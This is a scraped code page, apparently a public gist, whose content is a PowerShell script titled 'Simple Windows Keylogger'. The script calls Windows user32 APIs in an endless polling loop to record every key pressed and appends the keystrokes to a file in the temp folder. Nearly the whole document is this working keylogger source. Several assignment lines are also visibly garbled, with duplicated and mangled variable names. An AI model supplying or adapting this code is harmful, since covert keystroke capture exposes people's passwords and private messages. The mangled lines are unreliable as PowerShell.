Simple Windows Keylogger using PowerShell (original) (raw)

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.Learn more about bidirectional Unicode characters

[ Show hidden characters]({{ revealButtonHref }})

#requires -Version 2
function Start-KeyLogger($Path="$env:temp\keylogger.txt")
{
# Signatures for API Calls
$signatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@

# load signatures and make members available
API=Add−Type−MemberDefinitionAPI = Add-Type -MemberDefinition API=Add−Type−MemberDefinitionsignatures -Name 'Win32' -Namespace API -PassThru

# create output file
null=New−Item−Pathnull = New-Item -Path null=New−Item−PathPath -ItemType File -Force

try
{
Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red

# create endless loop. When user presses CTRL+C, finally-block
# executes and shows the collected key presses
while ($true) {
Start-Sleep -Milliseconds 40

# scan all ASCII codes above 8
for ($ascii = 9; ascii−le254;ascii -le 254; ascii−le254;ascii++) {
# get current key state
state=state = state=API::GetAsyncKeyState($ascii)

# is key pressed?
if ($state -eq -32767) {
$null = [console]::CapsLock

# translate scan code to real code
virtualKey=virtualKey = virtualKey=API::MapVirtualKey($ascii, 3)

# get keyboard state for virtual keys
$kbstate = New-Object Byte[] 256
checkkbstate=checkkbstate = checkkbstate=API::GetKeyboardState($kbstate)

# prepare a StringBuilder to receive input key
$mychar = New-Object -TypeName System.Text.StringBuilder

# translate virtual key
success=success = success=API::ToUnicode($ascii, virtualKey,virtualKey, virtualKey,kbstate, mychar,mychar, mychar,mychar.Capacity, 0)

if ($success)
{
# add key to logger file
[System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally
{
# open logger file in Notepad
notepad $Path
}
}

# records all key presses until script is aborted by pressing CTRL+C
# will then open the file with collected key codes
Start-KeyLogger